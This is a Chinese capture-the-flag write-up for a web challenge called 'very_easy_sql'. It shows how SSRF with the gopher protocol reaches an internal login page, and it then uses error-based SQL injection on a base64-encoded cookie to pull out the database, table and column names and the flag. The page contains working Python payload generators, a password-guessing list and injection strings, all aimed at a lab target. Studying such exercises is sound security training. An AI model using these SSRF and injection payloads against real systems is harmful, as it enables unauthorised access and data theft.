攻防世界——Web题 very_easy_sql

目录

payload1

payload2

payload3

 

看到了题目是sql就猜测是sql注入和万能密码了,但怎么试貌似都没有反应,看源代码发现了use.php

访问use.php页面 

可以猜测这里是SSRF,可以访问到我们本不能访问的界面,比如:服务器本地的127.0.0.1:3306

先尝试127.0.0.1

发现成功包含了index.php页面,此页面端口号为80端口,而我们要用到的就是这个端口,还记得一开始的页面:

应该是借助这里的SSRF,才有正常的身份验证权,现在就是想如何借助SSRF向服务器构造请求,让服务器正常执行我们的身份验证权。下面是我之前的一些尝试:

尝试:file:///flag -> nonono 猜测有协议过滤

最终发现gopher不会出现nono用no,这也是我们可以利用的一个协议

gopher协议:可直接封装TCP数据流,模拟基于TCP的应用层协议,只要按目标服务的协议格式构造数据,就能通过gopher协议发送请求。借用该协议SSRF可借助服务器权限攻击内网中原本无法直接访问的服务,实现命令执行,文件写入等高危操作。 

 接下来直接来构造,参考的是这位师傅的文章:攻防世界 very_easy_sql - 寄居动物 - 博客园

payload1

import urllib.parsehost="127.0.0.1:80" 
content_type="application/x-www-form-urlencoded" # 表示请求体是经过 URL 编码的表单数据
content="uname=admin&passwd=admin" # 请求的POST内容
content_length=len(content)data =\
f'''POST /index.php HTTP/1.1
Host: {host}
Content-Type: {content_type}
Content-Length: {content_length}{content}
'''data_url1 = urllib.parse.quote(data) # 将请求转换为URL编码格式
data_url1 = data_url1.replace("%0A","%0D%0A")
# HTTP请求中的行分隔符是\r\n(即%0D%0A的形式)
# 而Python中字符串的默认行为中换行符是\n 所以需要将0a替换为0d0a
data_url2=urllib.parse.quote(data_url1) # 要URL编码解码两次payload='gopher://127.0.0.1:80/_'+data_url2print(payload)

这是借助师傅的wp写出来的, 其中有一点没想明白的是,这里默认是admin/admin,是弱密码没错,但我觉得这里应该有一个爆破的环节,对password进行爆破;而password长度的区别又会影响到content_length的长度(经实验,如果content_length不同的话无法得出答案),所以进行爆破的部分也许可以是这个URL部分:
修改后的代码:

payload2

import urllib.parsedef generate_payload(password):host = "127.0.0.1:80"content_type = "application/x-www-form-urlencoded"content = f"uname=admin&passwd={password}"content_length = len(content)# 构造HTTP请求,确保包含正确的Content-Lengthdata = f'''POST /index.php HTTP/1.1Host: {host}Content-Type: {content_type}Content-Length: {content_length}{content}'''# 第一次URL编码data_url1 = urllib.parse.quote(data)# 替换换行符为HTTP标准的\r\ndata_url1 = data_url1.replace("%0A", "%0D%0A")# 第二次URL编码data_url2 = urllib.parse.quote(data_url1)# 生成最终的Gopher URIpayload = f'gopher://{host}/_{data_url2}'return payloaddef main():# 定义密码字典passwords = ["password", "123456", "12345678", "qwerty", "abc123","monkey", "1234567", "letmein", "trustno1", "dragon","baseball", "111111", "iloveyou", "master", "sunshine","ashley", "bailey", "passw0rd", "shadow", "123123","654321", "superman", "qazwsx", "michael", "Football", "admin"]# 换成自己的字典# 打开文件以保存结果with open('test.txt', 'w') as f:for password in passwords:payload = generate_payload(password)f.write(f"{payload}\n")print(f"Generated payload for password: {password}")print(f"\n所有payload已保存到 test.txt 文件中")if __name__ == "__main__":main()    

 尝试爆破:

 

稍微有些慢,得到1525长度的URL,对应的密码为admin 

得到payload:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

响应包为:

 

base64解码得: admin   接下来。。。也不知道怎么办了,加上Cookie参数试试也没反应,后来才知道这里才是用sql的地方。。。

现在直接用python脚本来测sql,构造请求包,也是参考的上面师傅的文章:

payload3

import base64
import urllib.parse
import requests# 初始化请求
url="http://61.147.171.103:54075/use.php"
headers={'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0'}def payload(sql):sql=base64.b64encode(sql.encode('utf-8')).decode('utf-8')cookie=f"this_is_your_cookie={sql}"data = \
f'''POST /index.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Cookie: {cookie}
'''# 注意这里的data不能缩进data_url1 = urllib.parse.quote(data)data_url1 = data_url1.replace("%0A","%0D%0A")gopher='gopher://127.0.0.1:80/_'+data_url1return gopher# 测试
sql="admin'"pay=payload(sql)
print(pay)
params={'url':f'{pay}'}
res=requests.get(url,params=params)
print(res.text)

 

发现闭合方式,且可尝试报错注入

# 爆库得到:security

sql="admin') and extractvalue(1,concat(0x7e,database())) #

# 爆表得到:emails,flag,referers,uagents,us

admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'))) #

# 爆列名得到:flag

admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='flag'))) #

# 爆值得到:cyberpeace{56c067fba665158ddcac12237bcbfa9e}

admin') and extractvalue(1,concat(0x7e,(select left(flag,20) from flag))) #

admin') and extractvalue(1,concat(0x7e,(select right(flag,20) from flag))) #

 


 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/90912.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/90912.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于 SpringBoot 的 REST API 与 RPC 调用的统一封装

一、为何需要统一封装? 在讨论统一封装之前,我们先看看 REST 和 RPC 各自的适用场景。 REST API 基于 HTTP 协议,采用 JSON 作为数据交换格式,可读性好且跨语言,非常适合对外提供服务。 RPC(如 Dubbo、gRPC…

【SpringBoot】 整合MyBatis+Postgresql

MyBatis 是一个轻量级的持久化框架,用于简化数据库访问和操作。它通过将 SQL 语句与 Java 代码分离,允许开发者使用 XML 或注解来配置 SQL 语句,并将结果映射为 Java 对象。MyBatis 提供了灵活的 SQL 控制,适合需要精细控制 SQL 的…

无缝衔接直播流体验

文章目录前言🧠 1. 为什么能“无缝衔接”?🧰 2. Flutter 实现方案✅ 总体策略🎯 核心技术点✅ a. 使用全局播放器管理器(单例模式)✅ b. 广场页中的直播卡片使用播放器✅ c. 详情页复用控制器✅ d. 页面切换…

[论文阅读] 软件工程 | 首个德语软件工程情感分析黄金标准数据集:构建与价值解析

首个德语软件工程情感分析黄金标准数据集:构建与价值解析 论文标题:A German Gold-Standard Dataset for Sentiment Analysis in Software EngineeringarXiv:2507.07325 A German Gold-Standard Dataset for Sentiment Analysis in Software Engineering…

PyTorch编程实践:一文就入门的上手开发!

引言 PyTorch作为当今深度学习领域最流行的框架之一,以其动态计算图、直观的Python接口和强大的GPU加速能力,赢得了众多研究人员和工程师的青睐。本文将深入探讨PyTorch的编程实践,从基础概念到高级应用,帮助读者全面掌握这一强大…

关于学习docker中遇到的问题

Cannot connect to the Docker daemon at unix:///home/pc/.docker/desktop/docker.sock. Is the docker daemon running?如何配置新的路径 #运行这条命令,查看docker状态 sudo systemctl status docker如图所示表示监听路径不对,因此修改路径即可&…

无法打开windows安全中心解决方案

系统还原或重置:如果以上方法均无效,可尝试系统还原,使用之前创建的还原点恢复系统。或在设置中选择 “系统> 恢复 > 重置此电脑”,选择 “保留我的文件” 以避免数据丢失。创建新用户账户:按下 Win I 打开设置…

复习笔记 33

绪论 《幻术》 张叶蕾 我该怎么承认, 一切都是幻境。 函数的基本性质和无穷小量及其阶的比较 我感觉强化课我要跟上的话,我需要把基础,强化的讲义,还有练习册上面的所有题都刷烂。不然我感觉自己考 140 完全就是痴人说梦。搞笑呢。…

算法学习笔记:12.快速排序 ——从原理到实战,涵盖 LeetCode 与考研 408 例题

快速排序是计算机科学中最经典的排序算法之一,由 Tony Hoare 在 1960 年提出。它凭借平均时间复杂度 O (nlogn)、原地排序(空间复杂度 O (logn),主要来自递归栈)以及良好的实际性能,成为工业界处理大规模数据排序的首选…

unity 有打击感的图片,怎么做动画,可以表现出良好的打击效果

完整实现脚本:using UnityEngine; using UnityEngine.UI; using System.Collections;[RequireComponent(typeof(Image))] public class HitEffectController : MonoBehaviour {[Header("基础设置")]public float hitDuration 0.5f; // 打击效果总时长[Header("…

cuda编程笔记(7)--多GPU上的CUDA

零拷贝内存 在流中,我们介绍了cudaHostAlloc这个函数,它有一些标志,其中cudaHostAllocMapped允许内存映射到设备,也即GPU可以直接访问主机上的内存,不用额外再给设备指针分配内存 通过下面的操作,即可让设…

IP地址混乱?监控易IPAM实现全网地址自动化管理与非法接入告警

IP地址出现混乱状况?监控易IPAM能够达成对全网地址予以自动化管理的目标,同时还可针对非法接入的情况发出告警信息。办公室毫无预兆地突然断网了,经过一番仔细排查之后,发现原来是IP地址出现了冲突的情况。有人私自接了路由器&…

安全监测预警平台的应用场景

随着城市化进程加快和基础设施规模扩大,各类安全风险日益突出。安全监测预警平台作为现代安全管理的重要工具,通过整合物联网、大数据、人工智能等先进技术,实现对各类安全隐患的实时监测、智能分析和精准预警。本文将详细探讨安全监测预警平…

007_用例与应用场景

用例与应用场景 目录 内容创作编程开发数据分析客户服务教育培训商业智能研究辅助 内容创作 文案撰写 应用场景: 营销文案和广告语产品描述和说明书社交媒体内容邮件营销内容 实际案例: 任务:为新款智能手表撰写产品描述 输入&#x…

Unity物理系统由浅入深第一节:Unity 物理系统基础与应用

Unity物理系统由浅入深第一节:Unity 物理系统基础与应用 Unity物理系统由浅入深第二节:物理系统高级特性与优化 Unity物理系统由浅入深第三节:物理引擎底层原理剖析 Unity物理系统由浅入深第四节:物理约束求解与稳定性 Unity 引擎…

《[系统底层攻坚] 张冬〈大话存储终极版〉精读计划启动——存储架构原理深度拆解之旅》-系统性学习笔记(适合小白与IT工作人员)

🔥 致所有存储技术探索者笔者近期将系统攻克存储领域经典巨作——张冬老师编著的《大话存储终极版》。这部近千页的存储系统圣经,以庖丁解牛的方式剖析了:存储硬件底层架构、分布式存储核心算法、超融合系统设计哲学等等。喜欢研究数据存储或…

flutter鸿蒙版 环境配置

flutter支持开发鸿蒙,但是需要专门的flutter鸿蒙项目, Flutter鸿蒙化环境配置(windows)_flutter config --ohos-sdk-CSDN博客

Java 高级特性实战:反射与动态代理在 spring 中的核心应用

在 Java 开发中,反射和动态代理常被视为 “高级特性”,它们看似抽象,却支撑着 Spring、MyBatis 等主流框架的核心功能。本文结合手写 spring 框架的实践,从 “原理” 到 “落地”,详解这两个特性如何解决实际问题&…

Codeforces Round 855 (Div. 3)

A. Is It a Cat? 去重&#xff0c; 把所有字符看成大写字符&#xff0c; 然后去重&#xff0c; 观察最后结果是不是“MEOW” #include <bits/stdc.h> #define int long longvoid solve() {int n;std::cin >> n;std::string ans, t;std::cin >> ans;for (int…

Scrapy选择器深度指南:CSS与XPath实战技巧

引言&#xff1a;选择器在爬虫中的核心地位在现代爬虫开发中&#xff0c;​​选择器​​是数据提取的灵魂工具。根据2023年网络爬虫开发者调查数据显示&#xff1a;​​92%​​ 的数据提取错误源于选择器编写不当熟练使用选择器的开发效率相比新手提升 ​​300%​​同时掌握CSS…